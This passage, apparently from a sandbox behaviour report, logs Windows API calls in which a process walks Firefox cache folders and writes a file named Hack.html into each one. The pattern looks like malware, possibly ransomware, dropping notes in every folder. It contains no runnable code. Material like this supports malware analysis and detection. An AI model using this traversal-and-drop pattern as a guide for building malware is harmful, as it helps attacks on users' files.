(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\f6\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.370] GetFileType (hFile=0x174) returned 0x1 [0077.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb10) returned 1 [0077.370] GetFileType (hFile=0x174) returned 0x1 [0077.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0077.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.372] GetFileType (hFile=0x174) returned 0x1 [0077.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0077.372] GetFileType (hFile=0x174) returned 0x1 [0077.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.374] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.374] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.374] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.375] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0077.375] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\2\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.375] GetFileType (hFile=0x174) returned 0x1 [0077.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0077.375] GetFileType (hFile=0x174) returned 0x1 [0077.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.377] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.378] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.378] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.378] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.378] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.378] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.379] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.379] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.379] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.380] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.380] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.380] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb14) returned 1 [0077.380] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\4b\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.381] GetFileType (hFile=0x174) returned 0x1 [0077.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb10) returned 1 [0077.381] GetFileType (hFile=0x174) returned 0x1 [0077.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0077.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.382] GetFileType (hFile=0x174) returned 0x1 [0077.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0077.382] GetFileType (hFile=0x174) returned 0x1 [0077.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.384] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.384] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.384] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.384] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0077.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\4\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.385] GetFileType (hFile=0x174) returned 0x1 [0077.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0077.385] GetFileType (hFile=0x174) returned 0x1 [0077.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.387] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.387] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.388] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.388] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0077.388] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\5\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.389] GetFileType (hFile=0x174) returned 0x1 [0077.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0077.389] GetFileType (hFile=0x174) returned 0x1 [0077.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.390] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.390] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.391] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.391] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0077.391] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\6\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.391] GetFileType (hFile=0x174) returned 0x1 [0077.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0077.392] GetFileType (hFile=0x174) returned 0x1 [0077.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.394] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.394] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.395] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.395] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0077.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\7\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.395] GetFileType (hFile=0x174) returned 0x1 [0077.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0077.395] GetFileType (hFile=0x174) returned 0x1 [0077.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.397] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.397] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.397] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.397] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0077.398] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\8\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.398] GetFileType (hFile=0x174) returned 0x1 [0077.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0077.398] GetFileType (hFile=0x174) returned 0x1 [0077.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.400] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.400] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.400] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.400] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.400] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.400] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.401] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.401] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.401] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.401] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.401] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.401] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.402] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.402] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.402] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.402] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.402] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.402] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb14) returned 1 [0077.402] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.403] GetFileType (hFile=0x174) returned 0x1 [0077.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb10) returned 1 [0077.403] GetFileType (hFile=0x174) returned 0x1 [0077.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.404] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.404] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.405] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.405] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.405] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.405] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb14) returned 1 [0077.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.414] GetFileType (hFile=0x174) returned 0x1 [0077.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb10) returned 1 [0077.415] GetFileType (hFile=0x174) returned 0x1 [0077.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.416] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.416] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.416] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.416] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.416] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.417] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb14) returned 1 [0077.417] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\61\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.417] GetFileType (hFile=0x174) returned 0x1 [0077.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb10) returned 1 [0077.417] GetFileType (hFile=0x174) returned 0x1 [0077.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.419] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.419] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.419] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.420] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.420] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.420] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb14) returned 1 [0077.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.421] GetFileType (hFile=0x174) returned 0x1 [0077.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb10) returned 1 [0077.421] GetFileType (hFile=0x174) returned 0x1 [0077.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0077.422] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.423] GetFileType (hFile=0x174) returned 0x1 [0077.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0077.423] GetFileType (hFile=0x174) returned 0x1 [0077.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.424] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.424] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.425] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.425] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: 